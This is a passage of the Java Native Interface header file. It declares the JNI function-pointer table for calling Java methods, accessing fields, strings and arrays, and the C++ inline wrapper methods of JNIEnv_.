    jlong (JNICALL *CallLongMethod)
      (JNIEnv *env, jobject obj, jmethodID methodID, ...);
    jlong (JNICALL *CallLongMethodV)
      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
    jlong (JNICALL *CallLongMethodA)
      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);

    jfloat (JNICALL *CallFloatMethod)
      (JNIEnv *env, jobject obj, jmethodID methodID, ...);
    jfloat (JNICALL *CallFloatMethodV)
      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
    jfloat (JNICALL *CallFloatMethodA)
      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);

    jdouble (JNICALL *CallDoubleMethod)
      (JNIEnv *env, jobject obj, jmethodID methodID, ...);
    jdouble (JNICALL *CallDoubleMethodV)
      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
    jdouble (JNICALL *CallDoubleMethodA)
      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);

    void (JNICALL *CallVoidMethod)
      (JNIEnv *env, jobject obj, jmethodID methodID, ...);
    void (JNICALL *CallVoidMethodV)
      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
    void (JNICALL *CallVoidMethodA)
      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue * args);

    jobject (JNICALL *CallNonvirtualObjectMethod)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
    jobject (JNICALL *CallNonvirtualObjectMethodV)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       va_list args);
    jobject (JNICALL *CallNonvirtualObjectMethodA)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       const jvalue * args);

    jboolean (JNICALL *CallNonvirtualBooleanMethod)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
    jboolean (JNICALL *CallNonvirtualBooleanMethodV)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       va_list args);
    jboolean (JNICALL *CallNonvirtualBooleanMethodA)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       const jvalue * args);

    jbyte (JNICALL *CallNonvirtualByteMethod)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
    jbyte (JNICALL *CallNonvirtualByteMethodV)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       va_list args);
    jbyte (JNICALL *CallNonvirtualByteMethodA)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       const jvalue *args);

    jchar (JNICALL *CallNonvirtualCharMethod)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
    jchar (JNICALL *CallNonvirtualCharMethodV)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       va_list args);
    jchar (JNICALL *CallNonvirtualCharMethodA)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       const jvalue *args);

    jshort (JNICALL *CallNonvirtualShortMethod)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
    jshort (JNICALL *CallNonvirtualShortMethodV)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       va_list args);
    jshort (JNICALL *CallNonvirtualShortMethodA)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       const jvalue *args);

    jint (JNICALL *CallNonvirtualIntMethod)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
    jint (JNICALL *CallNonvirtualIntMethodV)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       va_list args);
    jint (JNICALL *CallNonvirtualIntMethodA)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       const jvalue *args);

    jlong (JNICALL *CallNonvirtualLongMethod)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
    jlong (JNICALL *CallNonvirtualLongMethodV)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       va_list args);
    jlong (JNICALL *CallNonvirtualLongMethodA)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       const jvalue *args);

    jfloat (JNICALL *CallNonvirtualFloatMethod)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
    jfloat (JNICALL *CallNonvirtualFloatMethodV)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       va_list args);
    jfloat (JNICALL *CallNonvirtualFloatMethodA)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       const jvalue *args);

    jdouble (JNICALL *CallNonvirtualDoubleMethod)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
    jdouble (JNICALL *CallNonvirtualDoubleMethodV)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       va_list args);
    jdouble (JNICALL *CallNonvirtualDoubleMethodA)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       const jvalue *args);

    void (JNICALL *CallNonvirtualVoidMethod)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);
    void (JNICALL *CallNonvirtualVoidMethodV)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       va_list args);
    void (JNICALL *CallNonvirtualVoidMethodA)
      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,
       const jvalue * args);

    jfieldID (JNICALL *GetFieldID)
      (JNIEnv *env, jclass clazz, const char *name, const char *sig);

    jobject (JNICALL *GetObjectField)
      (JNIEnv *env, jobject obj, jfieldID fieldID);
    jboolean (JNICALL *GetBooleanField)
      (JNIEnv *env, jobject obj, jfieldID fieldID);
    jbyte (JNICALL *GetByteField)
      (JNIEnv *env, jobject obj, jfieldID fieldID);
    jchar (JNICALL *GetCharField)
      (JNIEnv *env, jobject obj, jfieldID fieldID);
    jshort (JNICALL *GetShortField)
      (JNIEnv *env, jobject obj, jfieldID fieldID);
    jint (JNICALL *GetIntField)
      (JNIEnv *env, jobject obj, jfieldID fieldID);
    jlong (JNICALL *GetLongField)
      (JNIEnv *env, jobject obj, jfieldID fieldID);
    jfloat (JNICALL *GetFloatField)
      (JNIEnv *env, jobject obj, jfieldID fieldID);
    jdouble (JNICALL *GetDoubleField)
      (JNIEnv *env, jobject obj, jfieldID fieldID);

    void (JNICALL *SetObjectField)
      (JNIEnv *env, jobject obj, jfieldID fieldID, jobject val);
    void (JNICALL *SetBooleanField)
      (JNIEnv *env, jobject obj, jfieldID fieldID, jboolean val);
    void (JNICALL *SetByteField)
      (JNIEnv *env, jobject obj, jfieldID fieldID, jbyte val);
    void (JNICALL *SetCharField)
      (JNIEnv *env, jobject obj, jfieldID fieldID, jchar val);
    void (JNICALL *SetShortField)
      (JNIEnv *env, jobject obj, jfieldID fieldID, jshort val);
    void (JNICALL *SetIntField)
      (JNIEnv *env, jobject obj, jfieldID fieldID, jint val);
    void (JNICALL *SetLongField)
      (JNIEnv *env, jobject obj, jfieldID fieldID, jlong val);
    void (JNICALL *SetFloatField)
      (JNIEnv *env, jobject obj, jfieldID fieldID, jfloat val);
    void (JNICALL *SetDoubleField)
      (JNIEnv *env, jobject obj, jfieldID fieldID, jdouble val);

    jmethodID (JNICALL *GetStaticMethodID)
      (JNIEnv *env, jclass clazz, const char *name, const char *sig);

    jobject (JNICALL *CallStaticObjectMethod)
      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);
    jobject (JNICALL *CallStaticObjectMethodV)
      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
    jobject (JNICALL *CallStaticObjectMethodA)
      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);

    jboolean (JNICALL *CallStaticBooleanMethod)
      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);
    jboolean (JNICALL *CallStaticBooleanMethodV)
      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
    jboolean (JNICALL *CallStaticBooleanMethodA)
      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);

    jbyte (JNICALL *CallStaticByteMethod)
      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);
    jbyte (JNICALL *CallStaticByteMethodV)
      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
    jbyte (JNICALL *CallStaticByteMethodA)
      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);

    jchar (JNICALL *CallStaticCharMethod)
      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);
    jchar (JNICALL *CallStaticCharMethodV)
      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
    jchar (JNICALL *CallStaticCharMethodA)
      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);

    jshort (JNICALL *CallStaticShortMethod)
      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);
    jshort (JNICALL *CallStaticShortMethodV)
      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
    jshort (JNICALL *CallStaticShortMethodA)
      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);

    jint (JNICALL *CallStaticIntMethod)
      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);
    jint (JNICALL *CallStaticIntMethodV)
      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
    jint (JNICALL *CallStaticIntMethodA)
      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);

    jlong (JNICALL *CallStaticLongMethod)
      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);
    jlong (JNICALL *CallStaticLongMethodV)
      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
    jlong (JNICALL *CallStaticLongMethodA)
      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);

    jfloat (JNICALL *CallStaticFloatMethod)
      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);
    jfloat (JNICALL *CallStaticFloatMethodV)
      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
    jfloat (JNICALL *CallStaticFloatMethodA)
      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);

    jdouble (JNICALL *CallStaticDoubleMethod)
      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);
    jdouble (JNICALL *CallStaticDoubleMethodV)
      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
    jdouble (JNICALL *CallStaticDoubleMethodA)
      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);

    void (JNICALL *CallStaticVoidMethod)
      (JNIEnv *env, jclass cls, jmethodID methodID, ...);
    void (JNICALL *CallStaticVoidMethodV)
      (JNIEnv *env, jclass cls, jmethodID methodID, va_list args);
    void (JNICALL *CallStaticVoidMethodA)
      (JNIEnv *env, jclass cls, jmethodID methodID, const jvalue * args);

    jfieldID (JNICALL *GetStaticFieldID)
      (JNIEnv *env, jclass clazz, const char *name, const char *sig);
    jobject (JNICALL *GetStaticObjectField)
      (JNIEnv *env, jclass clazz, jfieldID fieldID);
    jboolean (JNICALL *GetStaticBooleanField)
      (JNIEnv *env, jclass clazz, jfieldID fieldID);
    jbyte (JNICALL *GetStaticByteField)
      (JNIEnv *env, jclass clazz, jfieldID fieldID);
    jchar (JNICALL *GetStaticCharField)
      (JNIEnv *env, jclass clazz, jfieldID fieldID);
    jshort (JNICALL *GetStaticShortField)
      (JNIEnv *env, jclass clazz, jfieldID fieldID);
    jint (JNICALL *GetStaticIntField)
      (JNIEnv *env, jclass clazz, jfieldID fieldID);
    jlong (JNICALL *GetStaticLongField)
      (JNIEnv *env, jclass clazz, jfieldID fieldID);
    jfloat (JNICALL *GetStaticFloatField)
      (JNIEnv *env, jclass clazz, jfieldID fieldID);
    jdouble (JNICALL *GetStaticDoubleField)
      (JNIEnv *env, jclass clazz, jfieldID fieldID);

    void (JNICALL *SetStaticObjectField)
      (JNIEnv *env, jclass clazz, jfieldID fieldID, jobject value);
    void (JNICALL *SetStaticBooleanField)
      (JNIEnv *env, jclass clazz, jfieldID fieldID, jboolean value);
    void (JNICALL *SetStaticByteField)
      (JNIEnv *env, jclass clazz, jfieldID fieldID, jbyte value);
    void (JNICALL *SetStaticCharField)
      (JNIEnv *env, jclass clazz, jfieldID fieldID, jchar value);
    void (JNICALL *SetStaticShortField)
      (JNIEnv *env, jclass clazz, jfieldID fieldID, jshort value);
    void (JNICALL *SetStaticIntField)
      (JNIEnv *env, jclass clazz, jfieldID fieldID, jint value);
    void (JNICALL *SetStaticLongField)
      (JNIEnv *env, jclass clazz, jfieldID fieldID, jlong value);
    void (JNICALL *SetStaticFloatField)
      (JNIEnv *env, jclass clazz, jfieldID fieldID, jfloat value);
    void (JNICALL *SetStaticDoubleField)
      (JNIEnv *env, jclass clazz, jfieldID fieldID, jdouble value);

    jstring (JNICALL *NewString)
      (JNIEnv *env, const jchar *unicode, jsize len);
    jsize (JNICALL *GetStringLength)
      (JNIEnv *env, jstring str);
    const jchar *(JNICALL *GetStringChars)
      (JNIEnv *env, jstring str, jboolean *isCopy);
    void (JNICALL *ReleaseStringChars)
      (JNIEnv *env, jstring str, const jchar *chars);

    jstring (JNICALL *NewStringUTF)
      (JNIEnv *env, const char *utf);
    jsize (JNICALL *GetStringUTFLength)
      (JNIEnv *env, jstring str);
    const char* (JNICALL *GetStringUTFChars)
      (JNIEnv *env, jstring str, jboolean *isCopy);
    void (JNICALL *ReleaseStringUTFChars)
      (JNIEnv *env, jstring str, const char* chars);


    jsize (JNICALL *GetArrayLength)
      (JNIEnv *env, jarray array);

    jobjectArray (JNICALL *NewObjectArray)
      (JNIEnv *env, jsize len, jclass clazz, jobject init);
    jobject (JNICALL *GetObjectArrayElement)
      (JNIEnv *env, jobjectArray array, jsize index);
    void (JNICALL *SetObjectArrayElement)
      (JNIEnv *env, jobjectArray array, jsize index, jobject val);

    jbooleanArray (JNICALL *NewBooleanArray)
      (JNIEnv *env, jsize len);
    jbyteArray (JNICALL *NewByteArray)
      (JNIEnv *env, jsize len);
    jcharArray (JNICALL *NewCharArray)
      (JNIEnv *env, jsize len);
    jshortArray (JNICALL *NewShortArray)
      (JNIEnv *env, jsize len);
    jintArray (JNICALL *NewIntArray)
      (JNIEnv *env, jsize len);
    jlongArray (JNICALL *NewLongArray)
      (JNIEnv *env, jsize len);
    jfloatArray (JNICALL *NewFloatArray)
      (JNIEnv *env, jsize len);
    jdoubleArray (JNICALL *NewDoubleArray)
      (JNIEnv *env, jsize len);

    jboolean * (JNICALL *GetBooleanArrayElements)
      (JNIEnv *env, jbooleanArray array, jboolean *isCopy);
    jbyte * (JNICALL *GetByteArrayElements)
      (JNIEnv *env, jbyteArray array, jboolean *isCopy);
    jchar * (JNICALL *GetCharArrayElements)
      (JNIEnv *env, jcharArray array, jboolean *isCopy);
    jshort * (JNICALL *GetShortArrayElements)
      (JNIEnv *env, jshortArray array, jboolean *isCopy);
    jint * (JNICALL *GetIntArrayElements)
      (JNIEnv *env, jintArray array, jboolean *isCopy);
    jlong * (JNICALL *GetLongArrayElements)
      (JNIEnv *env, jlongArray array, jboolean *isCopy);
    jfloat * (JNICALL *GetFloatArrayElements)
      (JNIEnv *env, jfloatArray array, jboolean *isCopy);
    jdouble * (JNICALL *GetDoubleArrayElements)
      (JNIEnv *env, jdoubleArray array, jboolean *isCopy);

    void (JNICALL *ReleaseBooleanArrayElements)
      (JNIEnv *env, jbooleanArray array, jboolean *elems, jint mode);
    void (JNICALL *ReleaseByteArrayElements)
      (JNIEnv *env, jbyteArray array, jbyte *elems, jint mode);
    void (JNICALL *ReleaseCharArrayElements)
      (JNIEnv *env, jcharArray array, jchar *elems, jint mode);
    void (JNICALL *ReleaseShortArrayElements)
      (JNIEnv *env, jshortArray array, jshort *elems, jint mode);
    void (JNICALL *ReleaseIntArrayElements)
      (JNIEnv *env, jintArray array, jint *elems, jint mode);
    void (JNICALL *ReleaseLongArrayElements)
      (JNIEnv *env, jlongArray array, jlong *elems, jint mode);
    void (JNICALL *ReleaseFloatArrayElements)
      (JNIEnv *env, jfloatArray array, jfloat *elems, jint mode);
    void (JNICALL *ReleaseDoubleArrayElements)
      (JNIEnv *env, jdoubleArray array, jdouble *elems, jint mode);

    void (JNICALL *GetBooleanArrayRegion)
      (JNIEnv *env, jbooleanArray array, jsize start, jsize l, jboolean *buf);
    void (JNICALL *GetByteArrayRegion)
      (JNIEnv *env, jbyteArray array, jsize start, jsize len, jbyte *buf);
    void (JNICALL *GetCharArrayRegion)
      (JNIEnv *env, jcharArray array, jsize start, jsize len, jchar *buf);
    void (JNICALL *GetShortArrayRegion)
      (JNIEnv *env, jshortArray array, jsize start, jsize len, jshort *buf);
    void (JNICALL *GetIntArrayRegion)
      (JNIEnv *env, jintArray array, jsize start, jsize len, jint *buf);
    void (JNICALL *GetLongArrayRegion)
      (JNIEnv *env, jlongArray array, jsize start, jsize len, jlong *buf);
    void (JNICALL *GetFloatArrayRegion)
      (JNIEnv *env, jfloatArray array, jsize start, jsize len, jfloat *buf);
    void (JNICALL *GetDoubleArrayRegion)
      (JNIEnv *env, jdoubleArray array, jsize start, jsize len, jdouble *buf);

    void (JNICALL *SetBooleanArrayRegion)
      (JNIEnv *env, jbooleanArray array, jsize start, jsize l, const jboolean *buf);
    void (JNICALL *SetByteArrayRegion)
      (JNIEnv *env, jbyteArray array, jsize start, jsize len, const jbyte *buf);
    void (JNICALL *SetCharArrayRegion)
      (JNIEnv *env, jcharArray array, jsize start, jsize len, const jchar *buf);
    void (JNICALL *SetShortArrayRegion)
      (JNIEnv *env, jshortArray array, jsize start, jsize len, const jshort *buf);
    void (JNICALL *SetIntArrayRegion)
      (JNIEnv *env, jintArray array, jsize start, jsize len, const jint *buf);
    void (JNICALL *SetLongArrayRegion)
      (JNIEnv *env, jlongArray array, jsize start, jsize len, const jlong *buf);
    void (JNICALL *SetFloatArrayRegion)
      (JNIEnv *env, jfloatArray array, jsize start, jsize len, const jfloat *buf);
    void (JNICALL *SetDoubleArrayRegion)
      (JNIEnv *env, jdoubleArray array, jsize start, jsize len, const jdouble *buf);

    jint (JNICALL *RegisterNatives)
      (JNIEnv *env, jclass clazz, const JNINativeMethod *methods,
       jint nMethods);
    jint (JNICALL *UnregisterNatives)
      (JNIEnv *env, jclass clazz);

    jint (JNICALL *MonitorEnter)
      (JNIEnv *env, jobject obj);
    jint (JNICALL *MonitorExit)
      (JNIEnv *env, jobject obj);

    jint (JNICALL *GetJavaVM)
      (JNIEnv *env, JavaVM **vm);

    void (JNICALL *GetStringRegion)
      (JNIEnv *env, jstring str, jsize start, jsize len, jchar *buf);
    void (JNICALL *GetStringUTFRegion)
      (JNIEnv *env, jstring str, jsize start, jsize len, char *buf);

    void * (JNICALL *GetPrimitiveArrayCritical)
      (JNIEnv *env, jarray array, jboolean *isCopy);
    void (JNICALL *ReleasePrimitiveArrayCritical)
      (JNIEnv *env, jarray array, void *carray, jint mode);

    const jchar * (JNICALL *GetStringCritical)
      (JNIEnv *env, jstring string, jboolean *isCopy);
    void (JNICALL *ReleaseStringCritical)
      (JNIEnv *env, jstring string, const jchar *cstring);

    jweak (JNICALL *NewWeakGlobalRef)
       (JNIEnv *env, jobject obj);
    void (JNICALL *DeleteWeakGlobalRef)
       (JNIEnv *env, jweak ref);

    jboolean (JNICALL *ExceptionCheck)
       (JNIEnv *env);

    jobject (JNICALL *NewDirectByteBuffer)
       (JNIEnv* env, void* address, jlong capacity);
    void* (JNICALL *GetDirectBufferAddress)
       (JNIEnv* env, jobject buf);
    jlong (JNICALL *GetDirectBufferCapacity)
       (JNIEnv* env, jobject buf);

    /* New JNI 1.6 Features */

    jobjectRefType (JNICALL *GetObjectRefType)
        (JNIEnv* env, jobject obj);
};

/*
 * We use inlined functions for C++ so that programmers can write:
 *
 *    env->FindClass("java/lang/String")
 *
 * in C++ rather than:
 *
 *    (*env)->FindClass(env, "java/lang/String")
 *
 * in C.
 */

struct JNIEnv_ {
    const struct JNINativeInterface_ *functions;
#ifdef __cplusplus

    jint GetVersion() {
        return functions->GetVersion(this);
    }
    jclass DefineClass(const char *name, jobject loader, const jbyte *buf,
                       jsize len) {
        return functions->DefineClass(this, name, loader, buf, len);
    }
    jclass FindClass(const char *name) {
        return functions->FindClass(this, name);
    }
    jmethodID FromReflectedMethod(jobject method) {
        return functions->FromReflectedMethod(this,method);
    }
    jfieldID FromReflectedField(jobject field) {
        return functions->FromReflectedField(this,field);
    }

    jobject ToReflectedMethod(jclass cls, jmethodID methodID, jboolean isStatic) {
        return functions->ToReflectedMethod(this, cls, methodID, isStatic);
    }

    jclass GetSuperclass(jclass sub) {
        return functions->GetSuperclass(this, sub);
    }
    jboolean IsAssignableFrom(jclass sub, jclass sup) {
        return functions->IsAssignableFrom(this, sub, sup);
    }

    jobject ToReflectedField(jclass cls, jfieldID fieldID, jboolean isStatic) {
        return functions->ToReflectedField(this,cls,fieldID,isStatic);
    }

    jint Throw(jthrowable obj) {
        return functions->Throw(this, obj);
    }
    jint ThrowNew(jclass clazz, const char *msg) {
        return functions->ThrowNew(this, clazz, msg);
    }
    jthrowable ExceptionOccurred() {
        return functions->ExceptionOccurred(this);
    }
    void ExceptionDescribe() {
        functions->ExceptionDescribe(this);
    }
    void ExceptionClear() {
        functions->ExceptionClear(this);
    }
    void FatalError(const char *msg) {
        functions->FatalError(this, msg);
    }

    jint PushLocalFrame(jint capacity) {
        return functions->PushLocalFrame(this,capacity);
    }
    jobject PopLocalFrame(jobject result) {
        return functions->PopLocalFrame(this,result);
    }

    jobject NewGlobalRef(jobject lobj) {
        return functions->NewGlobalRef(this,lobj);
    }
    void DeleteGlobalRef(jobject gref) {
        functions->DeleteGlobalRef(this,gref);
    }
    void DeleteLocalRef(jobject obj) {
        functions->DeleteLocalRef(this, obj);
    }

    jboolean IsSameObject(jobject obj1, jobject obj2) {
        return functions->IsSameObject(this,obj1,obj2);
    }

    jobject NewLocalRef(jobject ref) {
        return functions->NewLocalRef(this,ref);
    }
    jint EnsureLocalCapacity(jint capacity) {
        return functions->EnsureLocalCapacity(this,capacity);
    }

    jobject AllocObject(jclass clazz) {
        return functions->AllocObject(this,clazz);
    }
    jobject NewObject(jclass clazz, jmethodID methodID, ...) {
        va_list args;
        jobject result;
        va_start(args, methodID);
        result = functions->NewObjectV(this,clazz,methodID,args);
        va_end(args);
        return result;
    }
    jobject NewObjectV(jclass clazz, jmethodID methodID,
                       va_list args) {
        return functions->NewObjectV(this,clazz,methodID,args);
    }
    jobject NewObjectA(jclass clazz, jmethodID methodID,
                       const jvalue *args) {
        return functions->NewObjectA(this,clazz,methodID,args);
    }

    jclass GetObjectClass(jobject obj) {
        return functions->GetObjectClass(this,obj);
    }
    jboolean IsInstanceOf(jobject obj, jclass clazz) {
        return functions->IsInstanceOf(this,obj,clazz);
    }

    jmethodID GetMethodID(jclass clazz, const char *name,
                          const char *sig) {
        return functions->GetMethodID(this,clazz,name,sig);
    }

    jobject CallObjectMethod(jobject obj, jmethodID methodID, ...) {
        va_list args;
        jobject result;
        va_start(args,methodID);
        result = functions->CallObjectMethodV(this,obj,methodID,args);
        va_end(args);
        return result;
    }
    jobject CallObjectMethodV(jobject obj, jmethodID methodID,
                        va_list args) {
        return functions->CallObjectMethodV(this,obj,methodID,args);
    }
    jobject CallObjectMethodA(jobject obj, jmethodID methodID,
                        const jvalue * args) {
        return functions->CallObjectMethodA(this,obj,methodID,args);
    }

    jboolean CallBooleanMethod(jobject obj,
                               jmethodID methodID, ...) {
        va_list args;
        jboolean result;
        va_start(args,methodID);
        result = functions->CallBooleanMethodV(this,obj,methodID,args);
        va_end(args);
        return result;
    }
    jboolean CallBooleanMethodV(jobject obj, jmethodID methodID,
                                va_list args) {
        return functions->CallBooleanMethodV(this,obj,methodID,args);
    }
    jboolean CallBooleanMethodA(jobject obj, jmethodID methodID,
                                const jvalue * args) {
        return functions->CallBooleanMethodA(this,obj,methodID, args);
    }

    jbyte CallByteMethod(jobject obj, jmethodID methodID, ...) {
        va_list args;
        jbyte result;
        va_start(args,methodID);
        result = functions->CallByteMethodV(this,obj,methodID,args);
        va_end(args);
        return result;
    }
    jbyte CallByteMethodV(jobject obj, jmethodID methodID,
                          va_list args) {
        return functions->CallByteMethodV(this,obj,methodID,args);
    }
    jbyte CallByteMethodA(jobject obj, jmethodID methodID,
                          const jvalue * args) {
        return functions->CallByteMethodA(this,obj,methodID,args);
    }

    jchar CallCharMethod(jobject obj, jmethodID methodID, ...) {
        va_list args;
        jchar result;
        va_start(args,methodID);
        result = functions->CallCharMethodV(this,obj,methodID,args);
        va_end(args);
        return result;
    }
    jchar CallCharMethodV(jobject obj, jmethodID methodID,
                          va_list args) {
        return functions->CallCharMethodV(this,obj,methodID,args);
    }
    jchar CallCharMethodA(jobject obj, jmethodID methodID,
                          const jvalue * args) {
        return functions->CallCharMethodA(this,obj,methodID,args);
    }

    jshort CallShortMethod(jobject obj, jmethodID methodID, ...) {
        va_list args;
        jshort result;
        va_start(args,methodID);
        result = functions->CallShortMethodV(this,obj,methodID,args);
        va_end(args);
        return result;
    }
    jshort CallShortMethodV(jobject obj, jmethodID methodID,
                            va_list args) {
        return functions->CallShortMethodV(this,obj,methodID,args);
    }
    jshort CallShortMethodA(jobject obj, jmethodID methodID,
                            const jvalue * args) {
        return functions->CallShortMethodA(this,obj,methodID,args);
    }

    jint CallIntMethod(jobject obj, jmethodID methodID, ...) {
        va_list args;
        jint result;
        va_start(args,methodID);
        result = functions->CallIntMethodV(this,obj,methodID,args);
        va_end(args);
        return result;
    }
    jint CallIntMethodV(jobject obj, jmethodID methodID,
                        va_list args) {
        return functions->CallIntMethodV(this,obj,methodID,args);
    }
    jint CallIntMethodA(jobject obj, jmethodID methodID,
                        const jvalue * args) {
        return functions->CallIntMethodA(this,obj,methodID,args);
    }

    jlong CallLongMethod(jobject obj, jmethodID methodID, ...) {
        va_list args;
        jlong result;
        va_start(args,methodID);
        result = functions->CallLongMethodV(this,obj,methodID,args);
        va_end(args);
        return result;
    }
    jlong CallLongMethodV(jobject obj, jmethodID methodID,
                          va_list args) {
        return functions->CallLongMethodV(this,obj,methodID,args);
    }
    jlong CallLongMethodA(jobject obj, jmethodID methodID,
                          const jvalue * args) {
        return functions->CallLongMethodA(this,obj,methodID,args);
    }

    jfloat CallFloatMethod(jobject obj, jmethodID methodID, ...) {
        va_list args;
        jfloat result;
        va_start(args,methodID);
        result = functions->CallFloatMethodV(this,obj,methodID,args);
        va_end(args);
        return result;
    }
    jfloat CallFloatMethodV(jobject obj, jmethodID methodID,
                            va_list args) {
        return functions->CallFloatMethodV(this,obj,methodID,args);
    }
    jfloat CallFloatMethodA(jobject obj, jmethodID methodID,
                            const jvalue * args) {
        return functions->CallFloatMethodA(this,obj,methodID,args);
    }

    jdouble CallDoubleMethod(jobject obj, jmethodID methodID, ...) {
        va_list args;
        jdouble result;
        va_start(args,methodID);
        result = functions->CallDoubleMethodV(this,obj,methodID,args);
        va_end(args);
        return result;
    }
    jdouble CallDoubleMethodV(jobject obj, jmethodID methodID,
                        va_list args) {
        return functions->CallDoubleMethodV(this,obj,methodID,args);
    }
    jdouble CallDoubleMethodA(jobject obj, jmethodID methodID,
                        const jvalue * args) {
        return functions->CallDoubleMethodA(this,obj,methodID,args);
    }

    void CallVoidMethod(jobject obj, jmethodID methodID, ...) {
        va_list args;
        va_start(args,methodID);
        functions->CallVoidMethodV(this,obj,methodID,args);
        va_end(args);
    }
    void CallVoidMethodV(jobject obj, jmethodID methodID,
                         va_list args) {
        functions->CallVoidMethodV(this,obj,methodID,args);
    }
    void CallVoidMethodA(jobject obj, jmethodID methodID,
                         const jvalue * args) {
        functions->CallVoidMethodA(this,obj,methodID,args);
    }

    jobject CallNonvirtualObjectMethod(jobject obj, jclass clazz,
                                       jmethodID methodID, ...) {
        va_list args;
        jobject result;
        va_start(args,methodID);
        result = functions->CallNonvirtualObjectMethodV(this,obj,clazz,
                                                        methodID,args);
        va_end(args);
        return result;
    }
    jobject CallNonvirtualObjectMethodV(jobject obj, jclass clazz,
                                        jmethodID methodID, va_list args) {
        return functions->CallNonvirtualObjectMethodV(this,obj,clazz,
                                                      methodID,args);
    }
    jobject CallNonvirtualObjectMethodA(jobject obj, jclass clazz,
                                        jmethodID methodID, const jvalue * args) {
        return functions->CallNonvirtualObjectMethodA(this,obj,clazz,
                                                      methodID,args);
    }

    jboolean CallNonvirtualBooleanMethod(jobject obj, jclass clazz,
                                         jmethodID methodID, ...) {
        va_list args;
        jboolean result;
        va_start(args,methodID);
        result = functions->CallNonvirtualBooleanMethodV(this,obj,clazz,
                                                         methodID,args);
        va_end(args);
        return result;
    }
    jboolean CallNonvirtualBooleanMethodV(jobject obj, jclass clazz,
                                          jmethodID methodID, va_list args) {
        return functions->CallNonvirtualBooleanMethodV(this,obj,clazz,
                                                       methodID,args);
    }
    jboolean CallNonvirtualBooleanMethodA(jobject obj, jclass clazz,
                                          jmethodID methodID, const jvalue * args) {
        return functions->CallNonvirtualBooleanMethodA(this,obj,clazz,
                                                       methodID, args);
    }

    jbyte CallNonvirtualByteMethod(jobject obj, jclass clazz,
                                   jmethodID methodID, ...) {
        va_list args;
        jbyte result;
        va_start(args,methodID);
        result = functions->CallNonvirtualByteMethodV(this,obj,clazz,
                                                      methodID,args);
        va_end(args);
        return result;
    }
    jbyte CallNonvirtualByteMethodV(jobject obj, jclass clazz,
                                    jmethodID methodID, va_list args) {
        return functions->CallNonvirtualByteMethodV(this,obj,clazz,
                                                    methodID,args);
    }
    jbyte CallNonvirtualByteMethodA(jobject obj, jclass clazz,
                                    jmethodID methodID, const jvalue * args) {
        return functions->CallNonvirtualByteMethodA(this,obj,clazz,
                                                    methodID,args);
    }

    jchar CallNonvirtualCharMethod(jobject obj, jclass clazz,
                                   jmethodID methodID, ...) {
        va_list args;
